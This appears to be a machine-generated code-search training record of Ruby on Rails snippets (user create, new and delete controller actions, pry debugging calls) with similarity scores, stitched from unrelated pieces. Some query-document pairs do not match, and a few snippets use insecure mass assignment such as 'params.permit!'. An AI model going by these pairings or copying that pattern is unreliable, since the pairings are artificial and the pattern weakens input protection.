"def create\n\t\tparams.permit!\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(users_url,\n :notice => \"User #{@user.name} was successfully created.\") }\n format.xml { render :xml => @user,\n :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def new\n if logged_in?\n # User who has logged in has no need to access create action\n redirect_to current_user\n else\n # Get ready to display signup page by declaring instance var\n \t @user = User.new\n end\n end",
"def create\n # Listing 7.22: Using strong parameters in the create action.\n @user = User.new(user_params)\n if @user.save\n # Listing 8.27: Signing in the user upon signup.\n sign_in @user\n # Listing 7.26: Redirecting the create action to the new user page.\n flash[:success] = \"Welcome to the Sample App!\"\n redirect_to @user\n else\n render 'new'\n end\n end",
"def create\n\t @user = User.new(params[:user])\n\t if @user.save\n\t \tsign_in @user\n\t \tflash[:success] = \"Welcome to Katmeer!\"\n\t \tredirect_to root_path\n\t else\n\t render 'new'\n\t end\n\tend",
"def create\n\t\t@user = User.create(user_params)\n\t\tlogin(@user)\n\t\tredirect_to root_path\n\tend",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to edit_user_url(@user), notice: 'User was successfully created.' }\n format.json { render :edit, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@user = User.new user_params\n\n\t\tif @user.save\n\t\t\tsession[:current_user_id] = @user.id\n\t\t\tredirect_to user_path(:id) \n\t\telse\n\t\t\trender :index\n\t\tend\n\tend",
"def create\n # creates a new user with attributes params[:user]\n @user = User.create params[:user]\n\n # redirect to show action\n redirect_to @user\n end",
"def create\n logger.debug(\"user create\")\n @user = User.new(params[:user])\n respond_to do |format|\n if @user.save\n format.html { redirect_to home_path, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n if logged_in?\n redirect_to user_path(current_user) # Redirect to user show page if logged in\n else \n @user = User.new # Stub a new user\n render layout: 'welcome' # Render sign up form with welcome layout\n end \n end",
"def new\n case request.method\n when :get\n @user = User.new\n render\n return true\n when :post\n @user = User.new(params[:user])\n begin\n User.transaction(@user) do\n @user.new_password = true\n @user.verified = 1 # skip verification, because we are ADMIN!\n if @user.save\n flash[:notice] = 'User creation successful.'\n redirect_to :action => 'list'\n end\n end\n rescue Exception => e\n flash.now[:notice] = nil\n flash.now[:warning] = 'Error creating account: confirmation email not sent'\n logger.error e\n end\n end\n end",
"def create\n @user = User.new_user(params[:user])\n @user.attributes.each do |attr, val|\n logger.debug(\"attr: #{attr}, val: #{val}\")\n end\n\n if @user.save\n flash[:success] = \"Successfully created account, please sign in\"\n redirect_to login_path\n else\n flash[:warning] = \"Couldn't process the user\"\n render action: \"new\"\n end\n\n end",
"def create\n @user = User.new(params[:user])\n redirect_to @user if @user.save\n end"
] |
[
"0.8175505",
"0.8122388",
"0.81217426",
"0.79427093",
"0.7926398",
"0.7888639",
"0.7879819",
"0.7876006",
"0.78714365",
"0.786993",
"0.7857081",
"0.784437",
"0.7765822",
"0.77644235",
"0.7759707",
"0.77514",
"0.77372617",
"0.7732122",
"0.7727777",
"0.7706785",
"0.7700843",
"0.7692588",
"0.7690052",
"0.7676091",
"0.7675199",
"0.76740736",
"0.7666823",
"0.7659982",
"0.764617",
"0.7637321",
"0.76093364",
"0.7605803",
"0.7571919",
"0.7564568",
"0.75527084",
"0.7549756",
"0.7540183",
"0.7533175",
"0.75249183",
"0.7513209",
"0.7504218",
"0.7501701",
"0.7491616",
"0.74884456",
"0.74845135",
"0.74807507",
"0.7476562",
"0.7466906",
"0.74614686",
"0.7456738",
"0.74561644",
"0.74539495",
"0.74326545",
"0.742706",
"0.74262345",
"0.7425202",
"0.742312",
"0.74180937",
"0.741403",
"0.7411734",
"0.7398779",
"0.7398109",
"0.73966354",
"0.73965126",
"0.7396179",
"0.73897225",
"0.73829323",
"0.73797894",
"0.7370019",
"0.73676866",
"0.7354939",
"0.7346812",
"0.7342517",
"0.73412097",
"0.73379797",
"0.73363733",
"0.73288316",
"0.7327465",
"0.73196566",
"0.73176247",
"0.73073417",
"0.7303863",
"0.7302763",
"0.7299598",
"0.7296966",
"0.72950786",
"0.72943544",
"0.7293999",
"0.7292139",
"0.7287886",
"0.7287638",
"0.72836125",
"0.72835916",
"0.7281359",
"0.7278194",
"0.7275163",
"0.7274656",
"0.7273068",
"0.72719204",
"0.7270782",
"0.7270709"
] |
0.0
|
-1
|
Display a confirmation form (which asks "do you really want to delete this user?") on GET. Handle the form submission on POST.
|
def delete
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_confirm\n return appctrl_not_permitted() unless ( @current_user.admin? )\n\n # Nobody can delete admin accounts. You must assign the admin\n # privilege to someone else, then, since you can't revoke your\n # own admin privileges either, have the new admin change your\n # account type and delete the user record. This is a good way\n # of ensuring that there is always at least one admin.\n\n @record = User.find( params[ :id ] )\n return appctrl_not_permitted() if ( @record.admin? )\n\n @record.destroy()\n\n flash[ :notice ] = 'User and all associated data deleted'\n redirect_to( users_path() )\n end",
"def delete_confirmation\n requested_resource\n\n render :delete_confirmation,\n layout: 'admin/application',\n locals: {\n page: Administrate::Page::Form.new(dashboard, requested_resource)\n }\n end",
"def delete_user\n User.delete(params[:id])\n render :text => \"\"\n end",
"def delete\n @user = User.find(params[:id])\n @user.destroy if @user!=nil # TODO maybe set status to 0 as deleted instead of removing entry\n flash[:notice] = \"User '#{@user.username}' deleted successfully.\"\n\n # when admin delete himself\n if session[:user_id]== @user.id\n session[:user_id] = nil\n session[:username] = nil\n end\n redirect_to(:action => 'list')\n end",
"def destroy\n if User.find(params[:id]).admin?\n redirect_to users_url\n else\n User.find(params[:id]).delete\n flash[:sucess] = \"User deleted\"\n redirect_to users_url\n end\n end",
"def show\n if params[:destroy]\n render :confirm_destroy and return\n end\n end",
"def delete\n authenticated('/account') do\n enforce_method! :POST\n assert_params :confirm, :custid\n if req.params[:confirm] && cust.custid == req.params[:custid]\n cust.destroy!\n res.delete_cookie :sess\n sess.destroy! :all\n @cust = Stella::Customer.anonymous\n @sess = Stella::Session.new\n Stella::Analytics.event \"Delete account\"\n res.redirect '/'\n else\n sess.add_info_message! \"Account was not deleted. You must click confirm.\"\n res.redirect '/account'\n end\n end\n end",
"def confirm_deletion\n begin\n raise 'Follow the link given in the mail.' if key_params.empty?\n @person = Person.find_by(key_params)\n @person.desindex\n\n flash[:success] = 'You have correctly deleting your profile.'\n rescue Mongoid::Errors::DocumentNotFound\n flash[:warning] = 'This confirmation link doesn\\'t exist.'\n rescue RuntimeError => e\n flash[:warning] = e.message\n end\n\n redirect_to root_url\n end",
"def delete\n @this_user.delete\n redirect_to :controller => 'user', :action => 'view', :display_name => params[:display_name]\n end",
"def delete\n form_data = params.require(:form).permit(:id)\n\n status = Form.delete_form(form_data[:id], current_user[\"id\"])\n\n if status\n flash[:delete_message] = { :alert_type => \"success\", :message => \"Form has been deleted!\", :icon => \"check\" }\n else\n flash[:delete_message] = { :alert_type => \"danger\", :message => \"Unable to delete form!\", :icon => \"times\" }\n end\n\n redirect_to \"/\"\n end",
"def destroy\n \t\t#find the user that was selected\n \t\t@user = User.find(params[:id])\n \t\t#if the selected user can be destroyed successfully, stay on the same page, and flash a message saying the user was successfully destroyed\n \t\tif @user.destroy\n \t\t\tredirect_to newusers_path\n \t\t\tflash[:notice] = \"#{ @user.email } destroyed.\"\n \t\t#if the user was not able to be destroyed, flash an error message saying it was not able to be destroyed and why and stay on the same page\n \t\telse \t \t\n \t\t\t#parse the error message and compile it into a readable form to be shown to the user\t\n \t\t\t@messages = \"User was not able to be destroyed. \"\n \t \t\t@user.errors.full_messages.each do |message|\n \t \t\t\t@messages = @messages + message + \". \"\n \t \t\tend\n \t \t\tflash[:notice] = @messages\n \t\t\tredirect_to newusers_path\n \t\tend\n \tend",
"def destroy\n @user = User.find(params[:id])\n case params['commit']\n when 'cancel'\n redirect_back_or @user\n when 'confirm'\n logger.info \"deleting #{@user}\"\n logger.info params['reason_for_leaving'] # TODO\n @user.destroy\n flash.now.warning \\\n :user_destroyed,\n 'Bye bye',\n \"You've successfully deleted your account. We're sorry to see you go!\"\n redirect_to root_path and return\n else\n render 'confirm_delete' and return\n end\n end",
"def destroy\n\t\tif @user.destroy\n\t\t\tredirect_to users_path, flash: {success: \"User deleted successfully\"}\n\t\telse\n\t\t\tflash[:error]=\"User cannot be deleted\"\n\t\t\trender :show\n\t\tend\n\tend",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n #head :no_content\n head :accepted # o deberia dejarlo en not_content\n end",
"def destroy\n\tif User.find(params[:id]).destroy\n\t\tflash[:success] = \"User deleted.\"\n\telse\n\t\tflash[:error] = \"There was a problem deleting this user.\"\n\tend\n redirect_to users_url\n end",
"def delete_user\n if (@user = find_user(params[:id]))\n do_delete_user(@user)\n flash[:notice] = \"User '#{@user.login}' has been deleted.\"\n end\n redirect_to :action => 'list'\n end",
"def destroy\n if !@user.is_admin && @user.destroy\n flash[:notice] = \"User deleted successfully\"\n else\n flash[:alert] = \"Unable to delete user\"\n end\n redirect_to users_path\n end",
"def destroy\n @user.destroy\n redirect_to users_path, notice: (I18n.t :act_delete)\n end",
"def destroy\n if @user.destroy\n redirect_to :attendees, flash: { warning: 'User was deleted.' }\n else\n msg = if @user.errors.present?\n @user.errors.full_messages.join(\".\\n\") + \".\"\n else \"User could not be deleted.\" end\n redirect_to @user, alert: msg\n end\n end",
"def delete\n @user = User.find(params[:id])\n @user.delete\n redirect_to root_path\n end",
"def destroy\n notice = nil\n if current_user.admin?\n @user.hide!\n notice = 'User was successfully hidden.'\n end\n redirect_to users_url, notice: notice || 'There was a problem hiding the user.'\n end",
"def destroy\n if @user.destroy\n alert_js('SUCCESS user deleted.')\n else\n alert_js('!!!ERROR deleting user!!!')\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n format.js { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n\n if @user.destroy\n js_notify message: t('admin.users.destroy.success'), type: 'alert-error', time: 2500\n render nothing: true, content_type: 'text/html'\n else\n message = \"#{t('admin.users.destroy.error')}: #{@user.errors[:base].last}\"\n js_notify message: message, type: 'alert-info', time: 2500\n render nothing: true\n end\n end",
"def destroy\n user_to_delete = User.find(params[:id])\n if (current_user?(user_to_delete))\n flash[:error] = \"You cannot delete yourself!\"\n else\n user_to_delete.destroy\n flash[:success] = \"User deleted.\"\n end\n redirect_to users_url \n end",
"def destroy\n \tUser.find(params[:id]).destroy\n \tflash[:success] = \"User deleted\"\n \tredirect_to users_url\n end",
"def destroy\n @user.destroy\n\n flash[:notice] = 'User was successfully deleted.'\n\n respond_to do |format|\n format.html { redirect_to users_path }\n format.js { render 'shared/index'; flash.discard }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.deleted = true\n if @user.save\n redirect_to(users_path, :alert => 'User deleted successfully.')\n end\n end",
"def delete_user\n system('clear')\n puts \"Type \" + \"DELETE\".red.underline + \" if you are sure you want to delete #{self.name}?\"\n puts \"User any other input to return to menu\\n\\n\"\n print \">> \"\n confirm = gets.chomp\n system('clear')\n if confirm.downcase == \"delete\"\n GameSession.all.each do |game|\n if game.user_id == self.id\n game.destroy\n end\n end\n self.destroy\n puts \"Your username has been deleted.\"\n end_program\n else\n menu(self)\n end\n end",
"def confirm_remove\n authorize Account, :update?\n respond_to do |format|\n format.html\n end\n end",
"def destroy\n flash[:notice] = t 'users.flash.user_deleted', :email => @user.email\n @user.destroy\n \n respond_to do |format|\n format.json { redirect_to :action => :index }\n format.xml { head :ok }\n format.html { redirect_to :action => :index } \n end\n end",
"def delete_user\n end",
"def destroy\n @record.destroy\n respond_to do |format|\n flash[:success] = \"<strong>Confirmation</strong>\".html_safe + \n \": Record successfully deleted.\"\n format.html { redirect_to user_show_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # Make sure the request came from an admin\n unless session[:admin_id]\n redirect_to_home\n return\n end\n \n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted.\"\n redirect_to root_path\n end",
"def delete\n @user.destroy\n respond_to do |format|\n format.html { redirect_to v1_resources_users_all_path, notice: 'User was deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to administrators_url, notice: 'User was successfully deleted.' }\n format.json { head :ok }\n end\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted\"\n redirect_to root_url\n end",
"def destroy\n @user = User.find(params[:id])\n\n respond_to do |format|\n if session[:user].isadmin? && session[:user].username == @user.username\n flash[:error] = 'Admins cannot delete themselves.'\n format.html { redirect_to @user }\n elsif !session[:user].nil? && !session[:user].isadmin?\n flash[:error] = 'Only admins can delete users.'\n format.html { redirect_to @user }\n else\n @user.destroy\n format.html { redirect_to :action => \"show_all\" }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n user.destroy\n respond_to do |format|\n format.html { redirect_to admin_users_url, notice: 'User was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = User.find(params[:id])\n user.destroy\n flash[:delete] = \"We hate to see you go! Cycle safe!\"\n redirect_to root_path\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n end\n end",
"def confirm_destroy\n render :action => 'confirm_destroy'\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n if @user.errors.empty?\n flash[:notice] = 'User was successfully deleted.'\n else\n flash[:notice] = \"WARNING: Couldn't delete user because:\"\n @user.errors.full_messages.each { |m| flash[:notice] << \"<br/>\" << m }\n end\n\n format.html { redirect_to(accountadmin_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if current_user.is_an_admin?\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n else\n flash[:error] = \"That action is not permitted.\"\n redirect_back_or_default('/')\n end \n end",
"def destroy\n @user = User.find(params[:id])\n\n # Special-case code that comes from devctm_template that you will want\n # to remove when you use a more sophisticated authorization system\n\n if @user.admin?\n\n # The rationale for not allowing an admin account to be deleted\n # when we have a very simplistic idea of an admin account is to\n # avoid the situation where there no longer is an admin account\n # because of accidental deletion. This may be acceptable for\n # simple apps and this code is easily deleted once it gets in\n # the way.\n\n respond_to do |format|\n format.html do\n flash[:notice] = 'An admin account may not be deleted.'\n redirect_to(admin_users_url)\n end\n format.xml do\n @user.errors.add_to_base('An admin account may not be deleted')\n render :xml => @user.errors, :status => :forbidden\n end\n end\n else\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n end\n end",
"def delete_user\n load_alert\n return if (@alert.blank?)\n\n @user = User.where(:_id => params[:user_id]).first\n\n # Does the user exist?\n if (@user.blank?)\n flash[:error] = t(\"alerts.error.user_not_found\")\n redirect_to alert_users_path()\n return\n end\n\n # Disassociate the user from the alert\n @alert.users.delete(@user)\n\n respond_to do |format|\n format.html{\n if (@alert.save)\n flash[:notice] = t(\"alerts.notice.user_deleted\", :name => @user.name, :alert => @alert.name)\n else\n flash[:error] = t(\"alerts.error.user_not_deleted\", :name => @user.name, :alert => @alert.name)\n end\n redirect_to alert_users_path()\n return\n }\n end\n end",
"def destroy\n @user = User.find(params[:id]).destroy\n flash[:success] = \"User deleted!\"\n redirect_to users_url\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n flash[:notice] = 'User was successfully deleted.'\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n # Silly Human - Accounts can't be deleted.\n # TODO: Display a message about this, or remove it or something..\n\n respond_to do |format|\n format.html { redirect_to user_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n begin\n @user.destroy\n flash[:notice] = t('activerecord.attributes.user.messages.deleted', user: @user.name)\n rescue StandardError => e\n flash[:notice] = e.message\n end\n\n respond_to do |format|\n format.html do\n redirect_to users_url,\n notice: t('activerecord.attributes.user.messages.deleted', name: @user.name)\n end\n format.json { head :no_content }\n end\n end",
"def delete(id)\n begin\n User.filter(:id => id).destroy\n flash[:success] = 'The specified user has been removed'\n rescue => e\n Ramaze::Log.error(e)\n flash[:error] = 'The specified user could not be removed'\n end\n\n redirect_referrer\n end",
"def destroy\n @user_submit = UserSubmit.find(params[:id])\n @user_submit.destroy\n\n respond_to do |format|\n format.html { redirect_to user_submits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = User.find(params[:id])\n\tuser.destroy\n\tflash[:success] = \"User #{user.name} was deleted\"\n\tredirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User was successfully deleted\"\n redirect_to users_url\n end",
"def destroy\n user = User.find(params[:id])\n # if admin tries to delete himself\n if current_user?(user)\n flash[:error] = \"Admins are not allowed to self destruct\"\n redirect_to users_path\n else\n user.destroy\n flash[:success] = \"User #{user.name} was successfully deleted.\"\n redirect_to users_path\n end\n end",
"def destroy\n # @user.destroy\n # flash[:success] = \"User Deleted\"\n redirect_to users_url\n end",
"def destroy\n query_params = save_query_params\n @user.destroy\n respond_to do |format|\n format.html { redirect_to admin_users_path + query_params, notice: t('views.admin.users.user_deleted_successfully') }\n end\n end",
"def destroy\n begin\n @user.destroy\n flash[:notice] = \"User #{@user.name} was successfully deleted\"\n rescue StandardError => e\n flash[:notice] = e.message\n end\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted.\"\n redirect_to users_url\n end",
"def destroy\n @user = User.find(params[:id])\n if @user.destroy\n flash[:success] = \"User has been deleted!\"\n redirect_to users_url\n end\n end",
"def destroy\n @user = User.find(params[:id])\n if current_user == @user\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n else\n flash[:error] = \"Naughty naughty. You can't delete other people.\"\n end\n end",
"def destroy\n @shown_user = User.find(params[:id])\n @shown_user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user.destroy\n flash[:success] = \"Votre post a été mise à jour.\"\n redirect_to users_url\n end",
"def destroy\n user = User.find(params[:id])\n user.destroy\n flash[:error] = \"Delete User #{user.userName}\"\n redirect_to '/users'\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_admin_index_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to privileges_path, notice: 'User was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted successfully.\"\n redirect_to users_url\n end",
"def destroy\n begin\n @user.destroy\n flash[:notice] = \"User #{@user.name} deleted\"\n rescue StandardError => e\n flash[:notice] = e.message\n end\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to dm_core.admin_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted.\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted.\"\n redirect_to users_url\n end",
"def destroy\n if @user.id == current_user.id\n redirect_to users_url, notice: 'This user cant be deleted.'\n else\n @user.destroy\n flash[:notice] = 'User was successfully deleted.'\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n\t\tUser.find(params[:id]).destroy\n\t\tflash[:success] = \"User deleted\"\n\t\tredirect_to users_url\n\tend",
"def destroy\n authorize! :destroy, @user, :message => 'You are not authorized to perform this operation.'\n user = User.find(params[:id])\n unless user == current_user\n user.destroy\n redirect_to users_path, :notice => \"User deleted. #{undo_link}\"\n else\n redirect_to users_path, :notice => \"Can't delete yourself.\"\n end\n\n end",
"def destroy\n\t\tUser.find(params[:id]).delete\n\t\tflash[:success] = \"Deleted current user\"\n\t\tredirect_to users_path\n\tend",
"def destroy\n @user = User.find(params[:id])\n begin\n @user.delete\n flash[:notice] = \"User #{@user.fullname} deleted\"\n rescue Exception => e\n flash[:notice] = e.message\n end\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted user #{@user.name}\")\n end",
"def destroy\n @nominee = Nominee.find(params[:id])\n @nominee.destroy\n flash[:success] = \"User successfully removed from nominations.\"\n respond_to do |format|\n format.html { redirect_to nominees_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if(confirm_same_user(@task.user_id) && @task.destroy)\n respond_to do |format|\n format.html { redirect_to tasks_url, notice: 'Task was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user.destroy\n flash[:success] = \"Chief removido com sucesso!\"\n redirect_to users_url\n end",
"def destroy\n load_user\n return if (@user.blank?)\n\n if (@user.id == current_user.id)\n flash[:error] = t(\"users.error.destroy_yourself\")\n redirect_to user_path(@user)\n return\n end\n\n respond_to do|format|\n format.html{\n # The user can be destroyed?\n if (@user.destroy)\n flash[:notice] = t(\"users.notice.destroyed\", :email => @user.email)\n redirect_to users_path()\n else\n flash[:error] = t(\"users.error.not_destroyed\", :email => @user.email)\n redirect_to user_path(@user)\n end\n return\n }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_users_url }\n format.json { head :ok }\n end\n end",
"def delete!\n return if @deleted\n delete_page = @client.get @delete_url\n delete_form = delete_page.form_with(:action => /delete/i)\n delete_button = delete_form.button_with(:name => /delete/i)\n delete_form.submit delete_button\n @deleted = true\n end",
"def destroy\n deleted = false\n # Não é possível deletar o último super admin\n if @user.can_delete?(current_user)\n @user.destroy\n deleted = true\n end\n\n respond_to do |format|\n if deleted\n format.html { redirect_to admin_users_url, notice: \"Usuário deletado com sucesso!\" }\n else\n format.html { redirect_to admin_users_url, alert: \"Impossível deletar o último SuperAdmin do sistema ou usuário de um aluno!\" }\n end\n format.json { head :no_content }\n end\n end",
"def destroy\n begin\n @user.destroy\n Mailer.destroy_user(@user).deliver\n flash[:notice] = \"User #{@user.username} deleted\"\n rescue StandardError => e\n flash[:notice] = e.message\n end\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = User.find(params[:id])\n user.destroy\n redirect_to users_path, :notice => \"User deleted.\"\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/members?is_approved=0\" }\n format.json { head :no_content }\n end\n \n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to '/static_pages/home', notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n User.find_by(id: params[:id]).destroy\n flash.now[:succes] = \"User was succesfully deleted\"\n redirect_to users_url\n end",
"def destroy\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.destroy\n format.html { flash[:success] = I18n.t('human.text.success.delete_user'); redirect_to users_url}\n format.json { head :no_content }\n else\n format.html { flash[:error] = I18n.t('human.text.errors.delete_user'); redirect_to users_url}\n format.json { head :no_content }\n end\n end\n end"
] |
[
"0.7108232",
"0.6958075",
"0.66438794",
"0.654843",
"0.6535866",
"0.6530181",
"0.65003717",
"0.649101",
"0.64856106",
"0.6476238",
"0.6467055",
"0.64453226",
"0.64126545",
"0.6412593",
"0.64086443",
"0.6407472",
"0.63863456",
"0.6372831",
"0.63692236",
"0.6352811",
"0.6339783",
"0.6334857",
"0.6312739",
"0.6306281",
"0.6303889",
"0.6303741",
"0.62961555",
"0.62953246",
"0.6293597",
"0.62931293",
"0.6292122",
"0.6290604",
"0.62794",
"0.627833",
"0.62773573",
"0.62765944",
"0.6273773",
"0.627139",
"0.6254984",
"0.62501127",
"0.62495077",
"0.6248998",
"0.62449425",
"0.6241963",
"0.6237383",
"0.6228137",
"0.62261957",
"0.6224056",
"0.6220113",
"0.6218662",
"0.6209935",
"0.6209041",
"0.62036747",
"0.6195828",
"0.6190726",
"0.6187005",
"0.6186763",
"0.6178451",
"0.61750776",
"0.61749244",
"0.61730367",
"0.61708915",
"0.61661303",
"0.61657274",
"0.61645657",
"0.6164043",
"0.61635125",
"0.6162894",
"0.6162894",
"0.6162894",
"0.6162894",
"0.6148045",
"0.6147871",
"0.6143155",
"0.6141585",
"0.6141585",
"0.61393",
"0.6137067",
"0.6136174",
"0.613592",
"0.6134382",
"0.61329985",
"0.61261106",
"0.6122094",
"0.61214155",
"0.61214155",
"0.61214155",
"0.61214155",
"0.61154956",
"0.61154956",
"0.6113788",
"0.61134124",
"0.6112588",
"0.6112055",
"0.6111162",
"0.61101913",
"0.61090827",
"0.6107528",
"0.6107247",
"0.61056256",
"0.61046064"
] |
0.0
|
-1
|
require 'pry' inding .pry
|
def game (a,b)
if a == b
puts"<><><><><>> 平手 <<><><><><>"
elsif a==0 && b==1
puts"<><>LOSE<>> (輸) <><>WIN><>>"
elsif a==1 && b==2
puts"<><>LOSE<>> (輸) <><>WIN><>>"
elsif a==2 && b==0
puts"<><>LOSE<>> (輸) <><>WIN><>>"
else
puts"<><>WIN><>> (贏) <><>LOSE<>>"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test\n # require \"pry\"; binding.pry\n end",
"def pry\n # rubocop:disable Lint/Debugger\n binding.pry\n # rubocop:enable Lint/Debugger\n end",
"def cmd_pry(*args)\n if args.include?('-h')\n cmd_pry_help\n return\n end\n\n begin\n require 'pry'\n rescue LoadError\n print_error('Failed to load Pry, try \"gem install pry\"')\n return\n end\n\n print_status('Starting Pry shell...')\n print_status(\"You are in the \\\"self\\\" (session) object\\n\")\n\n self.pry\n end",
"def ll\n _pry_\nend",
"def some_method\n binding.pry\n end",
"def test_pp\n binding.pry\n puts Time.now\n end",
"def call_pry\n return unless Rails.env.development? && @debug\n Ncurses.def_prog_mode\n Ncurses.reset_shell_mode\n binding.pry # rubocop:disable Lint/Debugger\n Ncurses.reset_prog_mode\n end",
"def interactive_mode(_pry_)\n _pry_.input = Pry.config.input\n _pry_.print = Pry.config.print\n _pry_.exception_handler = Pry.config.exception_handler\n end",
"def invoke_pry\n org = Pry.config.history_file\n # this has no effect if gdb is launched by pry\n Pry.config.history_file = File.expand_path('~/.gdb-pry_history')\n $stdin.cooked { pry }\n Pry.config.history_file = org\n end",
"def frame_managers(_pry_); end",
"def show\n #binding.pry\n end",
"def show\n#binding.pry\n end",
"def at_line\n resume_pry\n end",
"def bad_method(msg)\n binding.pry\n puts \"=> #{msg}\" + 3\nend",
"def pry_gems(skip_pry = false)\n return nil if skip_pry\n\n gems = <<~PRY\n # Pry to cleanup the rails console\n gem 'pry', '0.12.2'\n gem 'pry-rails' # pry console output\n gem 'spirit_hands' # A combination of pry, awesome_print, hirb, and numerous other console extensions\n PRY\n optimize_indentation(gems, 2)\n end",
"def create\n p \"HEEELLO\"\n binding.pry\n end",
"def pre_run_check\n Puppet.warning(\"#{self[:name]}: Doing some pre-run checks\")\n binding.pry if defined?(Pry)\n end",
"def at_return(_return_value)\n resume_pry\n end",
"def print_name \n name = ''\n # binding.pry\n puts name \nend",
"def testing_method(stuff)\n\tputs stuff[\"down\"]\n\n\tbinding.pry\n\n\tthe_ending = \"can't be reached bc of the above pry message\"\nend",
"def show\n # binding.pry\n \n end",
